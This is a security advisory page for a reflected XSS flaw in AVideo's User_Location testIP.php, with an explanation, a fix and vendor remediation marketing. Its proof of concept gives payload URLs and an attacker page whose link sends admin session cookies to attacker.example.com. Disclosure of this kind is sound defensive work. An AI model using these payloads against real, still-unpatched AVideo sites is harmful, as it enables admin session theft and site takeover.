GHSA-jqrj-chh6-8h78
MEDIUMAVideo: Reflected XSS via Unescaped ip Parameter in User_Location testIP.php
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The User_Location plugin's testIP.php page reflects the ip request parameter directly into an HTML input element without applying htmlspecialchars() or any other output encoding. This allows an attacker to inject arbitrary HTML and JavaScript via a crafted URL. Although the page is restricted to admin users, AVideo's SameSite=None cookie configuration allows cross-origin exploitation, meaning an attacker can lure an admin to a malicious link that executes JavaScript in their authenticated session.
Details
At plugin/User_Location/testIP.php:16, the ip parameter is read from the request without sanitization:
$ip = $_REQUEST['ip'];
At line 34, the value is echoed directly into an HTML input element's value attribute:
<input type="text" name="ip" id="ip" class="form-control" value="<?php echo $ip; ?>">
No htmlspecialchars() is applied, allowing an attacker to break out of the value attribute and inject arbitrary HTML/JavaScript.
While the page requires admin authentication to access, AVideo sets session cookies with SameSite=None. When an admin clicks a link from an external site (email, chat, another website), their session cookie is sent with the request, and the XSS payload executes in the context of their authenticated admin session.
Proof of Concept
- Craft a URL with a payload that breaks out of the input value attribute:
https://your-avideo-instance.com/plugin/User_Location/testIP.php?ip="><script>alert(document.cookie)</script>
- URL-encoded version for embedding in links:
https://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
- The resulting HTML rendered in the browser:
<input type="text" name="ip" id="ip" class="form-control" value=""><script>alert(document.cookie)</script>">
- To exploit via cross-origin link (leveraging SameSite=None), host the following on an attacker-controlled page:
<!-- attacker-page.html -->
<html>
<body>
<p>Click here to check your IP geolocation:</p>
<a href="https://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=%22%3E%3Cscript%3Edocument.location=%27https://attacker.example.com/steal?c=%27%2Bdocument.cookie%3C/script%3E">
Check IP Location
</a>
</body>
</html>
- When an admin clicks the link, their session cookie is sent (due to
SameSite=None), and the JavaScript executes in their authenticated session.
Impact
An attacker can execute arbitrary JavaScript in the context of an admin user's session by sending them a crafted link. Because AVideo uses SameSite=None for session cookies, the attack works from any external website. Successful exploitation allows the attacker to steal the admin session cookie, create new admin accounts, modify site configuration, upload malicious plugins, or perform any other admin action.
- CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
- Severity: Medium
Recommended Fix
Apply htmlspecialchars() when outputting the $ip variable at plugin/User_Location/testIP.php:34:
// plugin/User_Location/testIP.php:34
<input type="text" name="ip" id="ip" class="form-control" value="<?php echo htmlspecialchars($ip, ENT_QUOTES, 'UTF-8'); ?>">
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-jqrj-chh6-8h78 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jqrj-chh6-8h78 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jqrj-chh6-8h78. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jqrj-chh6-8h78 in your dependencies?
O3 detects GHSA-jqrj-chh6-8h78 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.